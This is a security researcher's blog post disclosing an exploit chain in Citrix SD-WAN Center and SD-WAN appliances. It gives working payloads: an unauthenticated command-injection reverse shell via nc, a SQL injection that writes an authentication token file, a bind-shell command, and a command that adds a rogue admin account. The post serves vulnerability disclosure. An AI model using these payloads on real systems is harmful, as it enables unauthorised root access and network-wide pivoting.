An Exploit Chain Against Citrix SD-WAN

Chris Lyne
Jul 11, 2019 · 7 min read

While inspecting the patch for TRA-2019–18, I discovered multiple critical vulnerabilities in both Citrix SD-WAN Center (SDWC) and the SD-WAN appliance itself (formerly known as NetScaler SD-WAN). Both software packages can be compromised by a remote, unauthenticated attacker.

This means the attacker could theoretically pivot from node to node to compromise an entire SD-WAN. The product line is designed to allow organizations to have software-defined WAN capabilities spanning across geographic regions. According to the Citrix customer stories page, there are many SD-WAN customers across the globe.

Keep the network topology pictured below in mind as we go. Each node is either an SDWC (e.g. headend, collector) or an SD-WAN appliance (e.g. MCN, RCN, branch appliance).

Source: Multi-region Network Deployment

Multiple Unauthenticated RCEs in SD-WAN Center

For the most part, authentication is enforced within the application. However, there is a controller that essentially acts as a passthrough. CollectorController forwards requests to other controllers, effectively bypassing the authentication requirement of the target controller.

For example, normally, you can’t request the DiagnosticsController without an authenticated session. But CollectorController will happily forward a request straight to DiagnosticsController. Without this logic, all of my bugs would require authentication. Below are two screenshots of pre-authenticated requests. Notice the request to /Diagnostics results in an HTTP 302 response (to /login), but the request to /Collector results in a 200.

302 Response /Diagnostics
200 Response /Collector

Let’s take a closer look. In CollectorController, the beforeFilter method explicitly gives pre-authenticated access to many actions. In this case, we will focus on diagnostics.

public function beforeFilter()
// snip
// not shown: 19 other actions allowed
// allow unauth access to diagnostics action

The code snippet below shows how the diagnostics action method is defined. Notice how a new instance of DiagnosticsController is created to handle the request.

public function diagnostics($resource)
$this->autoRender = false; // avoid to render view
$diagController = new DiagnosticsController($this->request, $this->response);
return $diagController->$resource();

Basically what happens here is CollectorController first handles the incoming HTTP request, and the diagnostics action is invoked. Then the request is passed off to DiagnosticsController, which will generate the response.

CollectorController forwards traffic

As depicted above, in DiagnosticsController, there is a ping action. This action method contains an OS command injection vulnerability. All three HTTP GET parameters are interpolated, unsanitized, into a command line, which is executed by the PHP exec function. Thanks to CollectorController, this vulnerability can be exploited without authentication to gain root access.

Below is a curl command you could use to pop a reverse shell, connecting back to IP on TCP port 4444.

curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+'

To demonstrate proof of concept, here is a short video.

/Collector/diagnostics/ping Unauthenticated Command Injection

I mentioned that there are more RCE vulnerabilities. Take a look at our research advisory if you’re interested. Below is the topology diagram showing which SDWC nodes can be rooted so far.

SDWC nodes can be rooted

Chaining Two Vulnerabilities to Root the SD-WAN Appliance

Vuln 1: A SQL Injection to Bypass File-based Authentication

In cgi-bin/sdwanrestapi/getpackagefile.cgi, a JSON is expected in the POST data, and the site_name record is used to construct multiple SQL queries. Below is the first vulnerable query.

if($package_type eq "active"){
$query = "SELECT observed_sw_revision, appliance_name,
expected_sw_revision, package_file_name from
Network_Appliance_Active " .
"WHERE site_name ='" . $site_name_arg . "' AND " .
"appliance_id=" . $appliance_id_arg.";";

Notice above how $site_name_arg is concatenated into the query. Its value came straight out of the JSON, as shown below.

my $q = CGI->new;
my $json_data = $q->param('POSTDATA');
// snip
$package_data = decode_json($json_data);
// snip
my $site_name_arg = $package_data->{'get_package_file'}->{'site_name'};

This is a classic SQL injection vulnerability. Unsanitized user input is concatenated into a SQL query. Boom! But what can be done with this vulnerability? I mentioned we could bypass authentication. If you’re paying attention, you probably notice that this query has nothing to do with authentication, so how can we bypass it? Let’s look at the auth scheme.

When a request is received, the check_session() function (defined in utils.cgi) is called to ensure there is an active authenticated session. One of the first checks is to see if the request is tied to a single sign-on session, by calling check_swc_sso().

// cgi-bin/utils.cgi
sub check_session()
// snip
if(check_swc_sso($q, $redirect_title) == 1)
return 1;
// snip

The check_swc_sso() function checks to see if a token file exists in the /tmp directory. It does this by first grabbing the token value from the swc-token GET parameter. Next, the script looks for a file named “token_$sso_token” in the /tmp directory, where $sso_token contains the token value. If it exists, the request is granted level 1 access (admin).

// cgi-bin/utils.cgi
sub check_swc_sso
my ($q, $redirect_title) = @_;
my $sso_token = initialize_if_blank(scalar($q->param('swc-token')));
if($sso_token ne "" && -e "/tmp/token_$sso_token" ) {
write_to_access_log("SSO token found\n");
my $level = "1";
// snip

With this in mind, let’s craft a SQL injection query to create a token file in the /tmp directory. Since the database is MySQL, we can write to a file using the “SELECT … INTO OUTFILE” syntax. The way I accomplished this was with a UNION. The injection looks like this:

blah' UNION SELECT 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#

By injecting this string into the JSON as the value of site_name, we can create a file named “token_01234” in the /tmp directory. This means the value “01234” is now a valid swc-token.

This is what the exploit looks like to generate the token file.

curl --insecure -H 'SSL_CLIENT_VERIFY: SUCCESS' -H 'Content-Type: application/json' -d '{"get_package_file": {"site_name": "blah'"' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#\""',"appliance_type": "primary","package_type": "active"}}'

Vuln 2: Classic OS Command Injection

// cgi-bin/installpatch.cgi
if (check_session($q))
// snip
my $fullname = $q->param('installfile');
// snip
system("sudo sh -c \"echo sudo -i /home/talariuser/bin/ --package=/home/talariuser/install/os_patch/$fullname | at now\"");

You probably notice that this vulnerability can only be triggered if the call to check_session succeeds. This means the attacker has to be authenticated to exploit it. Fortunately, we have an authentication bypass at our fingertips. Here is an exploit to start a bind shell on the appliance. Notice the token value is used in the value for swc-token.

curl --insecure '`/usr/bin/sudo%20/bin/nc%20-lp%204444%20-e%20/bin/bash`'

In the topology diagram below, I show the appliance nodes that can be rooted by exploiting these two vulnerabilities.

All appliances can be rooted

Here is a video to demonstrate the chained attack.

SQLi Auth Bypass and Command Injection Chained Together

Pivoting from SDWC to an Appliance

SD-WAN Center is first exploited. Then the attacker pivots to an SD-WAN appliance.

Looking back at the network diagram, the video demonstrates an attacker pivoting from SDWC to an appliance. The green nodes in the diagram are relevant to this scenario. However, the pivot potential is endless here. The attacker could move from SDWC to SDWC, appliance to appliance, or SDWC to appliance (in either direction).

Pivot from SDWC to appliance

Before I close out, I want to mention one thing. The exploits I’ve shown in this write-up all deliver a payload to get the attacker a shell; however, a different payload could be delivered to create a new admin account for the web interface. The following command adds an admin user named “eviladmin”.

perl /home/talariuser/bin/ addUser eviladmin evilpassword 1

Here is a screenshot to show the result. This works on both SDWC and the appliance.

eviladmin user added

Closing Remarks

We have posted research advisories for both products along with PoC’s. If you’re interested, take a look at TRA-2019–31, TRA-2019–32, and our PoC GitHub repository. Also, for a more business-focused impact, I encourage you to read the related post on the Tenable blog. Finally, Citrix has released a security bulletin and patches to address the reported vulnerabilities.

Tenable TechBlog

Learn how Tenable finds new vulnerabilities and writes the…

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store